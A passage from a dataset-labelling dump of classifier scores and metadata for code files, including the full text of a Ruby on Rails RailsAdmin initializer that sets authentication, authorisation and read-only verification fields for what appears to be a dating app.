Dining": 0.00017679127268616188, "Games & Gaming": 0.00033638633502528, "Electronics & Hardware": 0.0002927875577806925, "Health, Healthcare & Wellness": 0.0002535895775403837, "History & Geography": 0.00025972883294944057, "Home, Pets & Hobbies": 0.00016200868346451981, "Industry & Production": 0.000166106483564631, "Language, Literature & Philosophy": 0.00018733363957332012, "Politics & Government": 0.00016811771521383693, "Religion & Spirituality": 0.0002715311798062822, "Science, Mathematics & Engineering": 0.14386956472140033, "Relationships & Community": 0.00011930048699479372, "Software Usage & Applications": 0.00046081258818940875, "Programming & Software Engineering": 0.059006235617480626, "Sports & Fitness": 0.00023482655060424993, "Vehicles & Transportation": 0.00010814137165651117, "Travel & Tourism": 0.00032136372593753835, "Other / Uncovered Subject": 0.0004999750702783333, "NONE": 0.7906090604894729}}, "probabilities": {"primary": {"Academic Writing": 0.0001328869150056191, "Content Listing": 5.905020456508615e-05, "Creative Writing": 3.343538389441942e-05, "Customer Support Page": 2.12133569057918e-05, "Q&A Forum": 2.9836335128633598e-05, "Discussion Thread": 1.9726378526516877e-05, "Comment Section": 3.0938869451641015e-05, "Missing Content": 3.658878338420979e-05, "Knowledge Article": 0.0001013854566949032, "Legal Notices": 4.9739628535556934e-05, "News Article": 1.2519874188146449e-05, "Organizational Announcement": 2.3235453182998107e-05, "Nonfiction Writing": 2.607212958064564e-05, "Organizational About Page": 2.764886392142965e-05, "Personal About Page": 2.8215021404714254e-05, "Personal Blog": 1.676067423201673e-05, "Product Page": 1.7280927656309164e-05, "Spam / Ads": 2.0338813860546638e-05, "Structured Data": 0.002503136962996508, "Technical Writing": 0.9817390182129496, "Transcript / Interview": 5.504147274551919e-05, "Tutorial / How-To Guide": 0.002171026844144815, "User Reviews": 1.8137652379769695e-05, "Other / Unknown": 0.01282676578466465}, "secondary": {"Academic Writing": 0.00033187849430541195, "Content Listing": 0.00014265397187917563, "Creative Writing": 0.00014277204012186288, "Customer Support Page": 8.410041369711108e-05, "Q&A Forum": 7.14199313259449e-05, "Discussion Thread": 5.687087158222312e-05, "Comment Section": 9.124235141834967e-05, "Missing Content": 0.00015098036677430268, "Knowledge Article": 0.00040717046308907397, "Legal Notices": 9.688344143188666e-05, "News Article": 7.964156887692197e-05, "Organizational Announcement": 7.525545562901631e-05, "Nonfiction Writing": 8.147059930273396e-05, "Organizational About Page": 9.759606075845436e-05, "Personal About Page": 7.192477772886508e-05, "Personal Blog": 7.700273630604817e-05, "Product Page": 5.342788913812611e-05, "Spam / Ads": 7.856814573655567e-05, "Structured Data": 0.010685833298411693, "Technical Writing": 0.023730720583479886, "Transcript / Interview": 0.00012464894219383057, "Tutorial / How-To Guide": 0.0059027410557014656, "User Reviews": 4.756186770612535e-05, "NONE": 0.9573176346734049}, "tertiary": {"Academic Writing": 0.000134279050640477, "Content Listing": 6.403132681419404e-05, "Creative Writing": 7.224831782647734e-05, "Customer Support Page": 3.496478568023746e-05, "Q&A Forum": 2.7892113639475034e-05, "Discussion Thread": 2.4838487186128172e-05, "Comment Section": 4.781631532901157e-05, "Missing Content": 0.00012292472673245967, "Knowledge Article": 0.00025984478144968286, "Legal Notices": 8.091871484011119e-05, "News Article": 3.83243101266587e-05, "Organizational Announcement": 3.067155468489489e-05, "Nonfiction Writing": 4.2289099704628364e-05, "Organizational About Page": 5.613102099567809e-05, "Personal About Page": 3.0810457959567707e-05, "Personal Blog": 2.99934825908846e-05, "Product Page": 2.739460899199887e-05, "Spam / Ads": 3.5293755015123917e-05, "Structured Data": 0.004078392037305113, "Technical Writing": 0.0077252992681036605, "Transcript / Interview": 4.923041729053298e-05, "Tutorial / How-To Guide": 0.0022387271343006047, "User Reviews": 2.1359586700536325e-05, "NONE": 0.9847263246460919}, "structured_records": {"false": 0.6065152975883175, "true": 0.39348470241168254}, "procedural_steps": {"false": 0.9624790441403643, "true": 0.03752095585963565}, "worked_solution": {"false": 0.8485623529403854, "true": 0.15143764705961457}, "contextual_dialogue": {"false": 0.9999924178540323, "true": 7.5821459677541695e-06}, "content_quality": {"-2": 0.0033426749086164697, "-1": 0.008074452350387487, "0": 0.08985146891443944, "1": 0.4844671670460044, "2": 0.41426423678055224}, "noise_severity": {"0": 0.9584930122792636, "1": 0.03923061906292945, "2": 0.0014106357632136346, "3": 0.0004498940613515866, "4": 0.0004158388332417136}, "missing_content_severity": {"0": 0.9975903836060418, "1": 0.0009294357117195352, "2": 0.0010400364857103145, "3": 0.0003452562857916256, "4": 9.488791073668553e-05}, "factual_density": {"0": 0.010913123236530101, "1": 0.026752470827273563, "2": 0.20217006145908462, "3": 0.4273047769751511, "4": 0.33285956750196066}, "pretraining_utility": {"-2": 0.008470982362998484, "-1": 0.06734961954866438, "0": 0.3259538394230464, "1": 0.4715598957488724, "2": 0.1266656629164184}, "math_density": {"0": 0.23901610380340477, "1": 0.22630668967815168, "2": 0.16477953626421174, "3": 0.13295614242718826, "4": 0.23694152782704359}, "code_density": {"0": 0.00039585278548223484, "1": 0.0007567468613485501, "2": 0.022292728382111243, "3": 0.11840871953374725, "4": 0.8581459524373107}, "reasoning_density": {"0": 0.6649754030145825, "1": 0.09632252617251223, "2": 0.13804540537242221, "3": 0.04802540983011059, "4": 0.05263125561037254}, "education_level": {"none": 0.0011963843772574462, "0": 0.0017479737172285091, "1": 0.09197533849348105, "2": 0.8546876693639948, "3": 0.0466440056272753, "4": 0.003748628420762936}, "creative_writing_quality": {"not_applicable": 0.9992182191575939, "-2": 6.863312128274207e-05, "-1": 0.0001355752124080227, "0": 0.0004468279136010779, "1": 9.443928628431801e-05, "2": 3.63053088299681e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.6184100619242095e-05, "Art & Design": 4.429713376830547e-05, "Law & Crime": 3.074117947122045e-05, "Education & Careers": 4.70906664501532e-05, "Entertainment & Media": 2.6726821538108726e-05, "Fashion & Beauty": 1.823591471286842e-05, "Business, Economics & Finance": 3.9932850641162994e-05, "Food & Dining": 2.4145935904891228e-05, "Games & Gaming": 7.687402537873231e-05, "Electronics & Hardware": 5.5371286648924644e-05, "Health, Healthcare & Wellness": 2.6055685042214375e-05, "History & Geography": 3.577634475637847e-05, "Home, Pets & Hobbies": 2.4424165873541138e-05, "Industry & Production": 2.6181698039074316e-05, "Language, Literature & Philosophy": 4.3845716794508776e-05, "Politics & Government": 1.642309548514705e-05, "Religion & Spirituality": 2.866062578209223e-05, "Science, Mathematics & Engineering": 0.013614823160630079, "Relationships & Community": 1.804933854667922e-05, "Software Usage & Applications": 0.0002218307692049505, "Programming & Software Engineering": 0.9850678268584494, "Sports & Fitness": 5.1664653746562444e-05, "Vehicles & Transportation": 1.781733695567186e-05, "Travel & Tourism": 4.1326263017614785e-05, "Other / Uncovered Subject": 0.0003101208422776042, "Unknown / Insufficient Content": 4.557353026487183e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005310284896251849, "Art & Design": 0.0003364081503371834, "Law & Crime": 0.00038903670823437983, "Education & Careers": 0.0004530217815358741, "Entertainment & Media": 0.00026129053086768424, "Fashion & Beauty": 0.00018004844864086345, "Business, Economics & Finance": 0.00034550399113953046, "Food & Dining": 0.0001767912726861619, "Games & Gaming": 0.0003363863350252801, "Electronics & Hardware": 0.00029278755778069254, "Health, Healthcare & Wellness": 0.00025358957754038376, "History & Geography": 0.0002597288329494406, "Home, Pets & Hobbies": 0.00016200868346451984, "Industry & Production": 0.00016610648356463103, "Language, Literature & Philosophy": 0.00018733363957332014, "Politics & Government": 0.00016811771521383696, "Religion & Spirituality": 0.00027153117980628226, "Science, Mathematics & Engineering": 0.14386956472140036, "Relationships & Community": 0.00011930048699479373, "Software Usage & Applications": 0.0004608125881894088, "Programming & Software Engineering": 0.05900623561748063, "Sports & Fitness": 0.00023482655060424996, "Vehicles & Transportation": 0.00010814137165651118, "Travel & Tourism": 0.0003213637259375384, "Other / Uncovered Subject": 0.0004999750702783334, "NONE": 0.790609060489473}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10163, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10163, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:12.793102+00:00", "scoring_key_slot": "primary", "dataset_uid": "fbfbc67c-c0c4-4f95-b621-8fecf5a79423", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d69cf322e17a1ec9e5301b9bdaf3e989e03739cd944eff8228e0d9ef249e7927", "source_metadata": {"uuid": "fbfbc67c-c0c4-4f95-b621-8fecf5a79423", "repo_name": "AdaGold/restricted-arrays", "relative_path": "test/using_restricted_array_test.rb", "category": "TEST", "algo_rel_score": 0.9891892671585083, "quality_score": 4.2659807205200195, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 19, "repo_created_at": "2017-08-30T17:03:11.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 337, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "63a9320f1cb49f420fbac457c2f356ebbecdc039", "size_bytes": 5885, "file_timestamp": 1600128886, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "92fdceb39ffac5f8f57c05c4545ba7e23904dadb"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 19, "repo_created_at": "2017-08-30T17:03:11.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 337, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "63a9320f1cb49f420fbac457c2f356ebbecdc039", "size_bytes": 5885, "file_timestamp": 1600128886, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "92fdceb39ffac5f8f57c05c4545ba7e23904dadb", "url": "https://github.com/AdaGold/restricted-arrays/blob/92fdceb39ffac5f8f57c05c4545ba7e23904dadb/test/using_restricted_array_test.rb"}, "gpt4o_tokens": 1576, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2982358384394885, "noise_severity": 0.045064928106378334, "missing_content_severity": 0.004424829183461783, "factual_density": 3.0444451946787385, "pretraining_utility": 0.6405996373070478, "math_density": 1.9025003007963144, "code_density": 3.8331521719760557, "reasoning_density": 0.7270145888491786, "education_level": 1.9586204707184924, "creative_writing_quality": -0.13532123747577687}, "score_applicability": {"education_level": 0.9988036156227426, "creative_writing_quality": 0.0007817808424061287}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Bae-To-be/hercules/blob/ccbac5aa851270aeeefa8125057ce8ac1ec98148/config/initializers/rails_admin.rb", "id": "ruby-0-96824f12a532bf44e36e9c0bfcf13460", "text": "# frozen_string_literal: true\n\nrequire 'nested_form/engine'\nrequire 'nested_form/builder_mixin'\nrequire_relative '../../lib/rails_admin/maps'\n\nRailsAdmin.config do |config|\n config.parent_controller = '::ApplicationController'\n config.audit_with :paper_trail, 'AdminUser', 'PaperTrail::Version'\n\n config.current_user_method do\n current_user\n end\n\n config.authenticate_with do\n redirect_to main_app.admin_login_path if cookies.signed[:user_id].blank?\n end\n\n config.authorize_with :cancancan\n\n config.model 'Gender' do\n configure :user_gender_interests do\n hide\n end\n end\n\n config.model 'VerificationRequest' do\n configure :user do\n read_only true\n end\n\n configure :user_updates do\n read_only true\n end\n\n configure :user_linkedin_url do\n read_only true\n end\n\n configure :user_selfie_verification_file, :active_storage do\n read_only true\n end\n\n configure :user_identity_verification_file, :active_storage do\n read_only true\n end\n\n configure :other_verifications_for_user do\n read_only true\n\n pretty_value do\n bindings[:view].content_tag(:code, value)\n end\n end\n\n configure :user_kyc_info do\n read_only true\n\n label 'Information Submitted'\n\n pretty_value do\n bindings[:view].content_tag(:code, value)\n end\n end\n\n configure :user_images_for_verification, :multiple_active_storage do\n read_only true\n\n label 'Images'\n end\n\n list do\n field :user\n field :status\n field :created_at\n field :updated_at\n end\n end\n\n config.model 'Education' do\n object_label_method do\n :pretty_name\n end\n end\n\n config.model 'UserReport' do\n object_label_method do\n :pretty_name\n end\n end\n\n ['WorkTitle', 'Course', 'Industry'].each do |connected|\n config.model connected do\n configure \"#{connected.underscore}_connections\".to_sym do\n hide\n end\n\n configure :source_relations do\n hide\n end\n\n configure :target_relations do\n hide\n end\n\n edit do\n configure \"related_#{connected.underscore.pluralize}\".to_sym do\n hide\n end\n end\n\n create do\n configure :related_work_titles do\n hide\n end\n end\n end\n end\n\n config.model 'User' do\n %i[swipes_performed swipes_received selfie_verification identity_verification verification_requests].each do |hidden_field|\n configure hidden_field do\n hide\n end\n end\n\n configure :fcm do\n queryable false\n end\n end\n\n config.model 'PaperTrail::Version' do\n visible false\n end\n\n config.model 'PaperTrail::VersionAssociation' do\n visible false\n end\n\n %w[\n User\n Education\n VerificationFile\n Image\n ].each do |model|\n config.model model do\n navigation_label 'User Profile'\n end\n end\n\n %w[\n AdminUser\n Article\n UserReportReason\n ].each do |model|\n config.model model do\n navigation_label 'Others'\n end\n end\n\n %w[\n UserReport\n VerificationRequest\n ].each do |model|\n config.model model do\n navigation_label 'KYC'\n end\n end\n\n config.model 'Article' do\n configure :content do\n js_location { bindings[:view].asset_pack_path 'action_text.js' }\n end\n end\n\n %w[\n IndustryRelationship\n WorkTitleRelationship\n CourseRelationship\n ].each do |model|\n config.model model do\n navigation_label 'Entity Relations'\n end\n end\n\n %w[City\n Company\n Language\n Course\n University\n Industry\n Company\n WorkTitle\n Religion\n Gender\n DrinkingPreference\n SmokingPreference\n FoodPreference\n ExercisePreference\n ChildrenPreference].each do |model|\n config.model model do\n navigation_label 'Background Information'\n end\n end\n\n audited_models = ['User', 'Image', 'VerificationFile', 'Education', 'VerificationRequest']\n config.actions do\n dashboard\n maps\n index\n new do\n except 'VerificationRequest'\n end\n bulk_delete\n show\n edit\n delete\n show_in_app\n history_index do\n only audited_models\n end\n history_show do\n only audited_models\n end\n end\n\n config.excluded_models = %w[\n ActiveStorage::Blob\n ActiveStorage::Attachment\n ActiveStorage::VariantRecord\n WorkTitleConnection\n CourseConnection\n IndustryConnection\n UserGenderInterest\n UserLanguage\n Swipe\n RefreshToken\n ActionText::RichText\n ActionText::EncryptedRichText\n Message\n Match\n MatchStore\n ]\nend\n", "text_preview": "# frozen_string_literal: true require 'nested_form/engine' require 'nested_form/builder_mixin' require_relative '../../lib/rails_admin/maps' RailsAdmin.config do |config| config.parent_controller = '::ApplicationController' config.audit_wit", "input_sha256": "be97c450660bd8ef6c30917b11af61d606153e37ccd7573d68b4ef4bcc256cdd", "text_sha256": "96824f12a532bf44e36e9c0bfcf13460abd6589de0cb5be8601b76adf77fd358", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16024, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.125046348318259, "noise_severity": 0.027644721796675348, "missing_content_severity": 0.005934327173262933, "factual_density": 3.4237575406024416, "pretraining_utility": 0.19583476448281373, "math_density": 0.0004973273800303377, "code_density": 3.9220568672728082, "reasoning_density": 0.04207451454999871, "education_level": 2.5312893448500122, "creative_writing_quality": -0.2968145408128203}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.017753840624740835, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9949535913877708, "secondary": 0.9473471695485578, "tertiary": 0.9658729162874178, "structured_records": 0.3187201390023638, "procedural_steps": 0.0006591096921174013, "worked_solution": 0.00016864664321822944, "contextual_dialogue": 4.401734282497255e-06, "content_quality": 0.5726672915825143, "noise_severity": 0.9769627318361038, "missing_content_severity": 0.9950547273556142, "factual_density": 0.5197979505020345, "pretraining_utility": 0.5099600302923171, "math_density": 0.9995855605166414, "code_density": 0.9350473893940068, "reasoning_density": 0.9649379045416677, "education_level": 0.4081772790763446, "creative_writing_quality": 0.9997457452118199, "primary_topic": 0.9780370640269846, "secondary_topic": 0.910753473561864}, "probability_margin": {"primary": 0.9917539105494473, "secondary": 0.9189263181844715, "tertiary": 0.9500034082994567, "education_level": 0.07568619187351844, "creative_writing_quality": 0.9996978786691562, "primary_topic": 0.9626135437792288, "secondary_topic": 0.872337993029922}, "raw_probabilities": {"primary": {"Academic Writing": 2.0035765555038793e-05, "Content Listing": 3.334461979280551e-05, "Creative Writing": 8.820627097643651e-06, "Customer Support Page": 7.837391140660972e-06, "Q&A Forum": 7.251547817342959e-06, "Discussion Thread": 5.261552197537535e-06, "Comment Section": 7.673542057610048e-06, "Missing Content": 1.3483054731524408e-05, "Knowledge Article": 3.060567445414163e-05, "Legal Notices": 2.6914981442233178e-05, "News Article": 3.57831930327576e-06, "Organizational Announcement": 8.101660875298784e-06, "Nonfiction Writing": 6.2598394876988364e-06, "Organizational About Page": 9.04736521099846e-06, "Personal About Page": 8.660061825942944e-06, "Personal Blog": 5.456712068494631e-06, "Product Page": 5.373512417648199e-06, "Spam / Ads": 7.451057974697192e-06, "Structured Data": 0.0034099478638330983, "Technical Writing": 0.9951638584132804, "Transcript / Interview": 9.450340500267656e-06, "Tutorial / How-To Guide": 0.00015675044415729196, "User Reviews": 4.157882169438384e-06, "Other / Unknown": 0.0010406777706089814}, "secondary": {"Academic Writing": 0.00018654138513400382, "Content Listing": 0.001701960769524362, "Creative Writing": 0.00014328365566987017, "Customer Support Page": 8.715584037818535e-05, "Q&A Forum": 6.549648716203289e-05, "Discussion Thread": 5.390824282859132e-05, "Comment Section": 0.00014111331089254646, "Missing Content": 0.0002525378307880957, "Knowledge Article": 0.0002165051177800872, "Legal Notices": 0.00018176265328636034, "News Article": 9.476623963147427e-05, "Organizational Announcement": 9.070780327993992e-05, "Nonfiction Writing": 7.139506115487819e-05, "Organizational About Page": 0.00011528046939396, "Personal About Page": 8.692379266493514e-05, "Personal Blog": 8.236433597551347e-05, "Product Page": 5.83353658124949e-05, "Spam / Ads": 0.00012840550994656076, "Structured Data": 0.030614719299563015, "Technical Writing": 0.01542152540645479, "Transcript / Interview": 0.00010735687796696841, "Tutorial / How-To Guide": 0.0005156654954508724, "User Reviews": 4.125156522599829e-05, "NONE": 0.9495410374840345}, "tertiary": {"Academic Writing": 0.00011266365523066516, "Content Listing": 0.00181541261386442, "Creative Writing": 9.218124216101584e-05, "Customer Support Page": 6.208325466261005e-05, "Q&A Forum": 3.7393390900102874e-05, "Discussion Thread": 3.359255011441626e-05, "Comment Section": 9.637910629684334e-05, "Missing Content": 0.0002438299574666687, "Knowledge Article": 0.00022066384038827396, "Legal Notices": 0.0002033418668744203, "News Article": 6.522412554079052e-05, "Organizational Announcement": 5.672147309460592e-05, "Nonfiction Writing": 5.3762920160603845e-05, "Organizational About Page": 9.504138113798521e-05, "Personal About Page": 5.6390038725099266e-05, "Personal Blog": 4.734449939186404e-05, "Product Page": 4.54751494182193e-05, "Spam / Ads": 8.685422796895175e-05, "Structured Data": 0.017291469809318612, "Technical Writing": 0.011280837551382096, "Transcript / Interview": 6.705912352962507e-05, "Tutorial / How-To Guide": 0.0006119143242472216, "User Reviews": 2.948578934952331e-05, "NONE": 0.9672948781087753}, "structured_records": {"false": 0.6812798609976363, "true": 0.3187201390023638}, "procedural_steps": {"false": 0.9993408903078826, "true": 0.0006591096921174013}, "worked_solution": {"false": 0.9998313533567817, "true": 0.00016864664321822944}, "contextual_dialogue": {"false": 0.9999955982657175, "true": 4.401734282497255e-06}, "content_quality": {"-2": 0.003537984366837902, "-1": 0.01141131425184546, "0": 0.16043986928715748, "1": 0.5056880328845383, "2": 0.31892279920962074}, "noise_severity": {"0": 0.9760045123495782, "1": 0.021465495670675662, "2": 0.0017432934848787733, "3": 0.0004541548232278723, "4": 0.0003325436716396317}, "missing_content_severity": {"0": 0.9959637110663878, "1": 0.0027280816507194248, "2": 0.0008301070267376024, "3": 0.00036636955555317775, "4": 0.00011173070060219293}, "factual_density": {"0": 0.0029707550609387044, "1": 0.005760807384642105, "2": 0.08579326615320364, "3": 0.37549048469347013, "4": 0.5299846867077453}, "pretraining_utility": {"-2": 0.01265377213933272, "-1": 0.17079905530453743, "0": 0.4652568638868093, "1": 0.3106392532726246, "2": 0.040651055396695994}, "math_density": {"0": 0.9997085799085299, "1": 0.00019945234025650833, "2": 2.6571689947194822e-05, "3": 1.6852585186245646e-05, "4": 4.854347608017571e-05}, "code_density": {"0": 0.00020555922203100202, "1": 0.00037734193318069803, "2": 0.007742465390951812, "3": 0.06050393925762217, "4": 0.9311706941962142}, "reasoning_density": {"0": 0.9663193963065445, "1": 0.026422400465347846, "2": 0.006386542250489524, "3": 0.0006076143268006533, "4": 0.00026404665081746257}, "education_level": {"none": 0.00122565360794162, "0": 0.001570305706409708, "1": 0.005290765331166413, "2": 0.5068143992302871, "3": 0.4311282073567687, "4": 0.05397066876742637}, "creative_writing_quality": {"not_applicable": 0.9997881210098499, "-2": 3.232167790867688e-05, "-1": 4.915999528626233e-05, "0": 9.024234069373583e-05, "1": 2.9395366588578736e-05, "2": 1.0759609672871863e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.493716756624565e-05, "Art & Design": 0.00010603278589195858, "Law & Crime": 0.00021814064711584325, "Education & Careers": 0.00022614060822150097, "Entertainment & Media": 6.25897502642499e-05, "Fashion & Beauty": 0.00013751635479429812, "Business, Economics & Finance": 0.00021956134863003102, "Food & Dining": 6.616869191441246e-05, "Games & Gaming": 0.00015238012747399634, "Electronics & Hardware": 6.991479893712762e-05, "Health, Healthcare & Wellness": 0.00010621298432443783, "History & Geography": 4.168845430888352e-05, "Home, Pets & Hobbies": 5.235764785965144e-05, "Industry & Production": 4.047369291243248e-05, "Language, Literature & Philosophy": 4.8879059154326644e-05, "Politics & Government": 4.360078006719975e-05, "Religion & Spirituality": 5.032898188302003e-05, "Science, Mathematics & Engineering": 0.00014600595803575755, "Relationships & Community": 0.0017238968076257373, "Software Usage & Applications": 0.01626824855441023, "Programming & Software Engineering": 0.978881792333639, "Sports & Fitness": 0.0001409145359553043, "Vehicles & Transportation": 2.6282863965618106e-05, "Travel & Tourism": 7.451393276395869e-05, "Other / Uncovered Subject": 0.0008903571920077053, "Unknown / Insufficient Content": 0.00013106394027697719}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0014118326358868625, "Art & Design": 0.0008737214702210422, "Law & Crime": 0.004899535135345872, "Education & Careers": 0.001272724439886505, "Entertainment & Media": 0.0006410949027217348, "Fashion & Beauty": 0.00048040706613647707, "Business, Economics & Finance": 0.0017183681239271158, "Food & Dining": 0.00032041541647016744, "Games & Gaming": 0.0006899245812635488, "Electronics & Hardware": 0.0003252973835712739, "Health, Healthcare & Wellness": 0.0006249615183411502, "History & Geography": 0.00024567629318357405, "Home, Pets & Hobbies": 0.00035187074379110434, "Industry & Production": 0.00017661006723877594, "Language, Literature & Philosophy": 0.00020930354818737905, "Politics & Government": 0.000283065100658657, "Religion & Spirituality": 0.0003278102675356108, "Science, Mathematics & Engineering": 0.0005025117854549914, "Relationships & Community": 0.0038242664953602643, "Software Usage & Applications": 0.04184803924110108, "Programming & Software Engineering": 0.021683618649287334, "Sports & Fitness": 0.00047477144024704506, "Vehicles & Transportation": 0.00011645825616161628, "Travel & Tourism": 0.00034617424409100455, "Other / Uncovered Subject": 0.0021655089229067376, "NONE": 0.914186032271023}}, "probabilities": {"primary": {"Academic Writing": 2.0035765555038793e-05, "Content Listing": 3.334461979280551e-05, "Creative Writing": 8.820627097643651e-06, "Customer Support Page": 7.837391140660972e-06, "Q&A Forum": 7.251547817342959e-06, "Discussion Thread": 5.261552197537535e-06, "Comment Section": 7.673542057610048e-06, "Missing Content": 1.3483054731524408e-05, "Knowledge Article": 3.060567445414163e-05, "Legal Notices": 2.6914981442233178e-05, "News Article": 3.57831930327576e-06, "Organizational Announcement": 8.101660875298784e-06, "Nonfiction Writing": 6.2598394876988364e-06, "Organizational About Page": 9.04736521099846e-06, "Personal About Page": 8.660061825942944e-06, "Personal Blog": 5.456712068494631e-06, "Product Page": 5.373512417648199e-06, "Spam / Ads": 7.451057974697192e-06, "Structured Data": 0.0034099478638330983, "Technical Writing": 0.9951638584132804, "Transcript / Interview": 9.450340500267656e-06, "Tutorial / How-To Guide": 0.00015675044415729196, "User Reviews": 4.157882169438384e-06, "Other / Unknown": 0.0010406777706089814}, "secondary": {"Academic Writing": 0.00018654138513400382, "Content Listing": 0.001701960769524362, "Creative Writing": 0.00014328365566987017, "Customer Support Page": 8.715584037818535e-05, "Q&A Forum": 6.549648716203289e-05, "Discussion Thread": 5.390824282859132e-05, "Comment Section": 0.00014111331089254646, "Missing Content": 0.0002525378307880957, "Knowledge Article": 0.0002165051177800872, "Legal Notices": 0.00018176265328636034, "News Article": 9.476623963147427e-05, "Organizational Announcement": 9.070780327993992e-05, "Nonfiction Writing": 7.139506115487819e-05, "Organizational About Page": 0.00011528046939396, "Personal About Page": 8.692379266493514e-05, "Personal Blog": 8.236433597551347e-05, "Product Page": 5.83353658124949e-05, "Spam / Ads": 0.00012840550994656076, "Structured Data": 0.030614719299563015, "Technical Writing": 0.01542152540645479, "Transcript / Interview": 0.00010735687796696841, "Tutorial / How-To Guide": 0.0005156654954508724, "User Reviews": 4.125156522599829e-05, "NONE": 0.9495410374840345}, "tertiary": {"Academic Writing": 0.00011266365523066516, "Content Listing": 0.00181541261386442, "Creative Writing": 9.218124216101584e-05, "Customer Support Page": 6.208325466261005e-05, "Q&A Forum": 3.7393390900102874e-05, "Discussion Thread": 3.359255011441626e-05, "Comment Section": 9.637910629684334e-05, "Missing Content": 0.0002438299574666687, "Knowledge Article": 0.00022066384038827396, "Legal Notices": 0.0002033418668744203, "News Article": 6.522412554079052e-05, "Organizational Announcement": 5.672147309460592e-05, "Nonfiction Writing": 5.3762920160603845e-05, "Organizational About Page": 